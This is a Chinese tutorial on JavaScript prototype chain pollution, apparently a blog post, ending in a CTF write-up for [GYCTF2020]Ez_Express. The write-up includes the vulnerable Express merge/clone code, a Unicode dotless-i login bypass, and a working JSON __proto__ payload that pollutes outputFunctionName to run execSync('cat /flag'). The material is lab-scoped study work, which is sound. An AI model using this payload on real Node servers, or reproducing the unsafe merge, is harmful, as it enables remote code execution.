JavaScript原型链污染学习

原型链

概念

在 JavaScript 中,没有父类和子类这个概念,也没有类和实例的区分,而 JavaScript 中的继承关系则是靠一种叫做 “原型链” 的模式来实现的。

如果要定义一个类,需要以定义“构造函数”的方式来定义。例如下面的Foo函数就是Foo类的构造函数,this.bar就是Foo类的一个属性

1
2
3
4
5
function Foo() {
this.bar = 1
}

new Foo()

在类中定义show方法,这种写法会在每次新建一个Foo对象时执行this.show = function...,也就是说这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

fa7Sdx.png

如果要在创建类时只创建一次show方法,就需要使用原型(prototype)

  • 原型(prototype)是类Foo的一个属性
  • 所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。例如foo对象天生就具有foo.show()方法

faTXQJ.png

访问原型的方式:

  1. 访问Foo类的原型:

    1
    Foo.prototype
  2. 访问Foo类实例化出来的对象的原型:

    1
    foo.__proto__

总结

  • prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  • 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

继承机制

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

这里Son类继承了Father类的last_name。调用son.last_name时会先在Son对象中寻找目标,然后是son.__proto__,再找不到就是son.__proto__.__proto__,一直循环下去直到找到null结束

faTze1.png

原型链污染

原理

  • foo.__proto__指向OBject类的prototype,修改它就可以修改Object类
  • foo是Object类的实例,执行foo.__proto__.bar = 2相当于给Object类添加了一个bar属性,值为2
  • 后面用Object类创建了一个zoo对象,自然就有bar属性了

fa7po6.png

漏洞场景

原型链污染常出现于能够控制数组(对象)的“键名”的操作:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

未能成功污染原型链,原因是在执行let o2={a:1,"__proto__":{b:2}}时,__proto__已经代表o2的原型,这样在执行for (let key in source)遍历o2的键名时就不会把__proto__当作一个key,不会修改Object原型

fa7CFK.png

需要加上JSON解析才能让__proto__被认定为是一个键名,从而成功污染原型链

fa7PJO.png

[GYCTF2020]Ez_Express

知识点

  1. 存在大小写转换函数(toUpperCase),利用特殊字符绕过登录admin
  2. merge+clone,js原型链污染

过程

开始是一个登录界面

faTbJU.png

下载www.zip

在routes目录下有index.js,可以看到有merge和clone,可以判断是原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

调用clone的位置,需要先以admin身份登录

1
2
3
4
5
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

登录部分的处理逻辑,可以看到限制注册用户admin,大小写都不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});

用户名处使用了toUpperCase,可以用特殊字符注册绕过

1
'user':req.body.userid.toUpperCase()

参考

faTqWF.png

注册用户

1
admın

成功以admin身份登录

faTod0.png

现在来看看需要污染哪个参数

此处将 res 对象中的 outputFunctionName 属性渲染入 index 中,而 outputFunctionName 是未定义的

1
2
3
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})

faTHiT.png

修改为json格式的payload,同时还需要把Content-Type 设为 application/json(express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:)

1
{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}

faTToV.png

访问/info得到flag

faTLz4.png

总结

  1. 寻找可以修改__proto__的地方(merge)
  2. 寻找合适的属性进行原型链污染(未被赋值,存在利用点)

参考链接

https://www.anquanke.com/post/id/242645

https://www.anquanke.com/post/id/236182

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

https://nikoeurus.github.io/2019/11/30/JavaScript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/#%E5%8E%9F%E5%9E%8B